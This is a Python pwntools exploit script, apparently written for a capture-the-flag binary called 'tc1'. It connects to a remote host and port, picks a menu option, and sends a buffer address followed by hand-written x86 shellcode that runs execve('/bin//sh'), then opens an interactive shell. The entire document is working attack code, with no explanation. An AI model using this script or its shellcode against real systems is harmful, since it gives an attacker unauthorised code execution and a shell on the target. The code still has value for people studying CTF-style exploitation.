#!/usr/bin/env python
from pwn import *

DEBUG = 0

buf_addr = 0x0804a0a0
#context.log_level = 'debug'
if DEBUG:
	p = process("./bin/tc1")
else:
	p = remote('106.75.9.11', 20000)

def exp():
	p.recvuntil("Divide\n")
	p.sendline("29")
	p.recvuntil("]\n")
	payload = p32(buf_addr+4) 
	payload += "\x6a\x0b"
	payload += "\x58"
	payload += "\x31\xf6"
	payload += "\x56" 
	payload += "\x68\x2f\x2f\x73\x68"
	payload += "\x68\x2f\x62\x69\x6e"
	payload += "\x89\xe3" 
	payload += "\x31\xc9"
   	payload += "\x89\xca"
   	payload += "\xcd\x80" 

	#raw_input("set bp")
	p.sendline(payload)

	p.interactive()


exp()